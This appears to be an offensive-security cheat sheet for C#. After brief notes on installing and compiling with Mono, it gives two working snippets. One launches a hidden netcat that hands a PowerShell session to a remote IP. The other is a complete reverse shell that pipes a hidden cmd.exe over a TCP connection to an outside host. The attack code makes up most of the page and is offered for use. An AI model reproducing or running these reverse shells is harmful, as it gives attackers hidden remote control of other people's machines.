C

Installation

On Linux you can install mono which is a .NET compiler and runtime.

Arch : sudo pacman -S mono

On Windows you can directly use Visual Studio IDE.

Examples

Compilation :

$ vim Main.cs
$ mcs Main.cs
$ file Main.exe
Main.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Shell commands

using System;
using System.Diagnostics;

namespace Example {
    class Program {
        static void Main() {
            Process proc = new Process();
            ProcessStartInfo procInfo = new ProcessStartInfo(
                "c:\\Windows\\Temp\\nc.exe", 
                "-e powershell.exe 10.50.82.172 4444"
            );
            procInfo.CreateNoWindow = true;
            proc.StartInfo = procInfo;
            proc.Start();
        }
    }
}

Reverse shells

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
    public class Program
    {
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            using(TcpClient client = new TcpClient("10.200.196.200", 15555))
            {
                using(Stream stream = client.GetStream())
                {
                    using(StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "cmd.exe";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while(true)
                        {
                            strInput.Append(rdr.ReadLine());
                            //strInput.Append("\n");
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

    }
}

Source www.revshells.com.